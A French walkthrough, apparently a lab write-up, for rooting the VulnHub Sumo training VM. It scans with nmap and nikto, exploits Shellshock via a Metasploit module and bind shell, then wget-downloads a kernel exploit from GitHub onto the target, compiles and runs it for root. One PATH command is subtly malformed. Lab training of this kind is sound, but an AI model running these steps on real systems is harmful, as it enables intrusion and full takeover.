Comment exploiter la vulnérabilité
Shellshock
Prérequis :
Un système Linux (Kali idéal)
Une bonne connection internet
Des connaissances tcp/ip
Des connaissances en administration linux
Installer Metasploit
Virtualbox/vmware
Un ordinateur core i5+/8gb ram+
La machine d'entraînement Sumo sur vulnHub
Outils nécessaires :
Télécharger et lancer la machine d'entraînement :
Télécharger virtualbox et installer la dernière version de virtualbox :
https://www.kali.org/docs/virtualization/install-virtualbox-kali-host/
Télécharger et configurer Sumo (machine d’entrainement) :
https://www.vulnhub.com/entry/sumo-1,480/#download
Décompresser le zip et ouvrir l’image .ova dans virtualbox.
Lancer la machine Sumo.
Exploitation de la Vulnérabilité Shellshock :
1-identification de l’adresse ip machine
Identifier l’ip de notre machine vulnérable :
sudo netdiscover -i <carte réseau>
ou sudo netdiscover -r adress ip/mask
2- scan des ports ouverts avec NMAP
2.1. Scan des ports
Scanner le serveur pour identifier les vulnérabilités, répertoires et
fichiers intéressants.
Il y a plusieurs manières de faire le scan, nous utiliserons cette
commande :
nmap -sV -n -v -v <ip>
2.2. Scan du port http avec nikto ou gobuster
nikto -F html -o rapport.html -h <ip_cible>
firefox rapport.html
3. Exploiter la vulnérabilité shellshock
Lancer metasploit et chercher le module adéquate :
msfconsole
Nous allons utiliser l’exploit correspondant à notre cible :
use exploit/multi/http/apache_mod_cgi_bash_env_exec
info
Celui-ci va exploiter la faiblesse bash au travers du serveur apache et
l’utilisation de script cgi.
Nous allons maintenant exploiter cette faiblesse et créer un shell en
accès direct sur le serveur :
show payloads
set payload linux/x86/shell/bind_tcp
Configurons l’exploit et son payload :
show options
set RHOSTS <ip_cible>
set RHOST <ip_cible>
set TARGETURI /cgi-bin/test/ (lien vers le cgi)
Lancer l’exploitation :
exploit
4- escalation des privilèges
Vérifier notre connexion et notre situation :
whoami
id
pwd
ls
Nous devons prendre le contrôle total du serveur. Pour cela nous allons
devenir root.
Il nous faut au préalable identifier une faiblesse dans le système de
fichiers linux.
Récupérons les infos sur le système installé :
uname -a
Cherchons les exploits disponibles pour cette version sur google :
github Linux ubuntu 3.2.0-23-generic
Copions le lien vers l’exploit :
https://raw.githubusercontent.com/lucyoa/kernel-
exploits/master/perf_swevent/perf_swevent64.c
Téléchargeons l’exploit sur le serveur vulnérable dans un dossier
autorisé :
cd /tmp
wget https://raw.githubusercontent.com/lucyoa/kernel-
exploits/master/perf_swevent/perf_swevent64.c
Compilons et exécutons l’exploit pour obtenir l’accès root à la machine :
gcc -O2 perf_swevent64.c -o exploit
Le message d’erreur obtenu est lié à la mauvaise configuration de
l’emplacement du compilateur gcc.
Pour résoudre ce problème, il faut réattribuer le chemin d’accès vers le
compilateur :
PATH=PATH$:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/u
sr/lib/gcc/x86_64-linux-gnu/4.8/;export PATH
Il ne reste plus qu’a réessayer :
gcc -O2 perf_swevent64.c -o exploit
et lancer l’exploit pour obtenir l’accès root :
./exploit 0
id
Maintenant plus qu’à nous rendre dans le dossier root et récupérer le
flag dans le fichier root.txt :
cat /root/root.txt
Bien jouer !